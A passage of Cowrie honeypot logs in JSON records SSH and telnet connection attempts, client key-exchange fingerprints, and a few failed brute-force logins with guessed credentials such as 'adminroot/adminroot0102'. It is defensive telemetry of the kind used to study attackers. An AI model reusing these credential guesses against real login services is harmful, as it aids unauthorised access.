e-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:48.535830Z","src_ip":"152.32.163.183","session":"9c230d7f9e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43098,"dst_ip":"10.17.0.5","dst_port":23,"session":"414067f43f90","protocol":"telnet","message":"New connection: 64.237.60.107:43098 (10.17.0.5:23) [session: 414067f43f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:49.026789Z"}
{"eventid":"cowrie.login.failed","username":"teste","password":"q1w2e3","message":"login attempt [teste/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:49.290261Z","src_ip":"152.32.163.183","session":"9c230d7f9e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:50.544502Z","src_ip":"152.32.163.183","session":"9c230d7f9e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43100,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb98228f90a","protocol":"telnet","message":"New connection: 64.237.60.107:43100 (10.17.0.5:23) [session: edb98228f90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:51.413773Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbeca7c18e5","protocol":"telnet","message":"New connection: 64.237.60.107:43106 (10.17.0.5:23) [session: 4bbeca7c18e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:51.580960Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b910885e7680","protocol":"telnet","message":"New connection: 64.237.60.107:43110 (10.17.0.5:23) [session: b910885e7680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:52.030078Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":59126,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a35310705c0","protocol":"telnet","message":"New connection: 45.77.199.58:59126 (10.17.0.5:23) [session: 1a35310705c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:52.089335Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":59132,"dst_ip":"10.17.0.5","dst_port":23,"session":"080e95a72d1d","protocol":"telnet","message":"New connection: 45.77.199.58:59132 (10.17.0.5:23) [session: 080e95a72d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:52.092545Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":59148,"dst_ip":"10.17.0.5","dst_port":23,"session":"1accae64aa8b","protocol":"telnet","message":"New connection: 45.77.199.58:59148 (10.17.0.5:23) [session: 1accae64aa8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:52.362425Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43122,"dst_ip":"10.17.0.5","dst_port":23,"session":"233f57555e2c","protocol":"telnet","message":"New connection: 64.237.60.107:43122 (10.17.0.5:23) [session: 233f57555e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:53.098526Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43132,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b01000bfca","protocol":"telnet","message":"New connection: 64.237.60.107:43132 (10.17.0.5:23) [session: d0b01000bfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:54.607486Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43142,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8e852cc447","protocol":"telnet","message":"New connection: 64.237.60.107:43142 (10.17.0.5:23) [session: da8e852cc447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:56.326993Z"}
{"eventid":"cowrie.session.closed","duration":30.28864884376526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:57.166674Z","src_ip":"45.77.199.58","session":"383dc0d65daf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45338,"dst_ip":"10.17.0.5","dst_port":23,"session":"66fcf414ea77","protocol":"telnet","message":"New connection: 64.237.60.107:45338 (10.17.0.5:23) [session: 66fcf414ea77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:57.205700Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45342,"dst_ip":"10.17.0.5","dst_port":23,"session":"906086085130","protocol":"telnet","message":"New connection: 64.237.60.107:45342 (10.17.0.5:23) [session: 906086085130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:58.108538Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45346,"dst_ip":"10.17.0.5","dst_port":23,"session":"823f65e10227","protocol":"telnet","message":"New connection: 64.237.60.107:45346 (10.17.0.5:23) [session: 823f65e10227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:58.224065Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45352,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c53b40a2c4f","protocol":"telnet","message":"New connection: 64.237.60.107:45352 (10.17.0.5:23) [session: 5c53b40a2c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:59.161792Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52898,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7acd3bdd4de","protocol":"telnet","message":"New connection: 45.77.199.58:52898 (10.17.0.5:23) [session: e7acd3bdd4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:13:59.764699Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45362,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c21e19e826","protocol":"telnet","message":"New connection: 64.237.60.107:45362 (10.17.0.5:23) [session: 42c21e19e826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:00.116283Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45376,"dst_ip":"10.17.0.5","dst_port":23,"session":"45272a2ec349","protocol":"telnet","message":"New connection: 64.237.60.107:45376 (10.17.0.5:23) [session: 45272a2ec349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:00.566024Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52904,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b52d0c592d7","protocol":"telnet","message":"New connection: 45.77.199.58:52904 (10.17.0.5:23) [session: 9b52d0c592d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:01.146910Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45386,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd17250a1a0","protocol":"telnet","message":"New connection: 64.237.60.107:45386 (10.17.0.5:23) [session: ccd17250a1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:01.516554Z"}
{"eventid":"cowrie.session.closed","duration":30.447882175445557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:03.030468Z","src_ip":"45.77.199.58","session":"9d058703c764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45394,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8291aa63d5b","protocol":"telnet","message":"New connection: 64.237.60.107:45394 (10.17.0.5:23) [session: a8291aa63d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:03.419782Z"}
{"eventid":"cowrie.session.closed","duration":30.949912309646606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:04.063124Z","src_ip":"45.77.199.58","session":"0349f311b78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50050,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f4039e933c","protocol":"telnet","message":"New connection: 45.77.199.58:50050 (10.17.0.5:23) [session: 71f4039e933c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:04.241312Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45402,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5a14636d49","protocol":"telnet","message":"New connection: 64.237.60.107:45402 (10.17.0.5:23) [session: ef5a14636d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:04.264262Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45416,"dst_ip":"10.17.0.5","dst_port":23,"session":"609f83d15446","protocol":"telnet","message":"New connection: 64.237.60.107:45416 (10.17.0.5:23) [session: 609f83d15446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:05.086052Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50058,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a62328b2113","protocol":"telnet","message":"New connection: 45.77.199.58:50058 (10.17.0.5:23) [session: 9a62328b2113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:06.060745Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45430,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a9200a7aee","protocol":"telnet","message":"New connection: 64.237.60.107:45430 (10.17.0.5:23) [session: 07a9200a7aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:06.105195Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45436,"dst_ip":"10.17.0.5","dst_port":23,"session":"4197e78b9ab5","protocol":"telnet","message":"New connection: 64.237.60.107:45436 (10.17.0.5:23) [session: 4197e78b9ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:06.219048Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd2a52d0d38","protocol":"telnet","message":"New connection: 64.237.60.107:45438 (10.17.0.5:23) [session: ccd2a52d0d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:06.236784Z"}
{"eventid":"cowrie.session.closed","duration":31.36300539970398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:06.696233Z","src_ip":"45.77.199.58","session":"3d8d160dd509","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42590,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f2b298d8cb","protocol":"telnet","message":"New connection: 64.237.60.107:42590 (10.17.0.5:23) [session: 48f2b298d8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:06.856230Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42602,"dst_ip":"10.17.0.5","dst_port":23,"session":"18fae756c1c6","protocol":"telnet","message":"New connection: 64.237.60.107:42602 (10.17.0.5:23) [session: 18fae756c1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:07.150621Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50068,"dst_ip":"10.17.0.5","dst_port":23,"session":"b72635fd1693","protocol":"telnet","message":"New connection: 45.77.199.58:50068 (10.17.0.5:23) [session: b72635fd1693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:08.608746Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50078,"dst_ip":"10.17.0.5","dst_port":23,"session":"e399014ff9f0","protocol":"telnet","message":"New connection: 45.77.199.58:50078 (10.17.0.5:23) [session: e399014ff9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:09.100471Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42612,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2089797ab10","protocol":"telnet","message":"New connection: 64.237.60.107:42612 (10.17.0.5:23) [session: d2089797ab10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:10.210013Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a30d7686c5","protocol":"telnet","message":"New connection: 45.77.199.58:50082 (10.17.0.5:23) [session: b1a30d7686c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:11.082877Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50086,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16460c539d1","protocol":"telnet","message":"New connection: 45.77.199.58:50086 (10.17.0.5:23) [session: f16460c539d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:11.199413Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42628,"dst_ip":"10.17.0.5","dst_port":23,"session":"51801bd1aab7","protocol":"telnet","message":"New connection: 64.237.60.107:42628 (10.17.0.5:23) [session: 51801bd1aab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:11.275162Z"}
{"eventid":"cowrie.session.closed","duration":31.702298164367676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:11.899884Z","src_ip":"45.77.199.58","session":"aa52698d5f94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3c88b0834ec","protocol":"telnet","message":"New connection: 64.237.60.107:42644 (10.17.0.5:23) [session: d3c88b0834ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:12.054895Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42656,"dst_ip":"10.17.0.5","dst_port":23,"session":"83423aef7504","protocol":"telnet","message":"New connection: 64.237.60.107:42656 (10.17.0.5:23) [session: 83423aef7504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:12.448457Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50092,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdbbd7e171d7","protocol":"telnet","message":"New connection: 45.77.199.58:50092 (10.17.0.5:23) [session: bdbbd7e171d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.039024Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42662,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8ed0751869","protocol":"telnet","message":"New connection: 64.237.60.107:42662 (10.17.0.5:23) [session: ad8ed0751869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.158576Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42676,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2cfd78d4908","protocol":"telnet","message":"New connection: 64.237.60.107:42676 (10.17.0.5:23) [session: e2cfd78d4908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.172837Z"}
{"eventid":"cowrie.session.closed","duration":31.0666024684906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.196846Z","src_ip":"45.77.199.58","session":"fe376424815f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53368,"dst_ip":"159.203.135.109","dst_port":22,"session":"a34a845f627d","protocol":"ssh","message":"New connection: 159.203.92.129:53368 (159.203.135.109:22) [session: a34a845f627d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.461230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.466655Z","src_ip":"159.203.92.129","session":"a34a845f627d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.472339Z","src_ip":"159.203.92.129","session":"a34a845f627d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"adminroot0102","message":"login attempt [adminroot/adminroot0102] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.484045Z","src_ip":"159.203.92.129","session":"a34a845f627d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50106,"dst_ip":"10.17.0.5","dst_port":23,"session":"350ee9a2ec48","protocol":"telnet","message":"New connection: 45.77.199.58:50106 (10.17.0.5:23) [session: 350ee9a2ec48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:13.877419Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42688,"dst_ip":"10.17.0.5","dst_port":23,"session":"5319d9fab83e","protocol":"telnet","message":"New connection: 64.237.60.107:42688 (10.17.0.5:23) [session: 5319d9fab83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:14.120095Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":57396,"dst_ip":"10.17.0.5","dst_port":23,"session":"388a21f46c84","protocol":"telnet","message":"New connection: 45.77.199.58:57396 (10.17.0.5:23) [session: 388a21f46c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:14.239044Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42690,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fea95373e8d","protocol":"telnet","message":"New connection: 64.237.60.107:42690 (10.17.0.5:23) [session: 6fea95373e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:14.436536Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:14.490642Z","src_ip":"159.203.92.129","session":"a34a845f627d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42704,"dst_ip":"10.17.0.5","dst_port":23,"session":"e769174a7bb2","protocol":"telnet","message":"New connection: 64.237.60.107:42704 (10.17.0.5:23) [session: e769174a7bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:15.858621Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42710,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0d55777c14d","protocol":"telnet","message":"New connection: 64.237.60.107:42710 (10.17.0.5:23) [session: e0d55777c14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:15.865377Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":42722,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fc22fb4e122","protocol":"telnet","message":"New connection: 64.237.60.107:42722 (10.17.0.5:23) [session: 7fc22fb4e122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:16.069476Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":57410,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b15c70dd6e2","protocol":"telnet","message":"New connection: 45.77.199.58:57410 (10.17.0.5:23) [session: 2b15c70dd6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:16.393479Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53168,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e9f1f63d677","protocol":"telnet","message":"New connection: 64.237.60.107:53168 (10.17.0.5:23) [session: 1e9f1f63d677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:17.049106Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53174,"dst_ip":"10.17.0.5","dst_port":23,"session":"3388310df235","protocol":"telnet","message":"New connection: 64.237.60.107:53174 (10.17.0.5:23) [session: 3388310df235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:17.150532Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53176,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbfb59e51f2","protocol":"telnet","message":"New connection: 64.237.60.107:53176 (10.17.0.5:23) [session: 3bbfb59e51f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:17.431051Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53188,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc879c1053a","protocol":"telnet","message":"New connection: 64.237.60.107:53188 (10.17.0.5:23) [session: bcc879c1053a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:18.165100Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53198,"dst_ip":"10.17.0.5","dst_port":23,"session":"95a06aab47ef","protocol":"telnet","message":"New connection: 64.237.60.107:53198 (10.17.0.5:23) [session: 95a06aab47ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:18.194941Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":48748,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9ca14fc4f4","protocol":"ssh","message":"New connection: 45.232.73.84:48748 (159.203.135.109:22) [session: 6f9ca14fc4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:18.383716Z"}
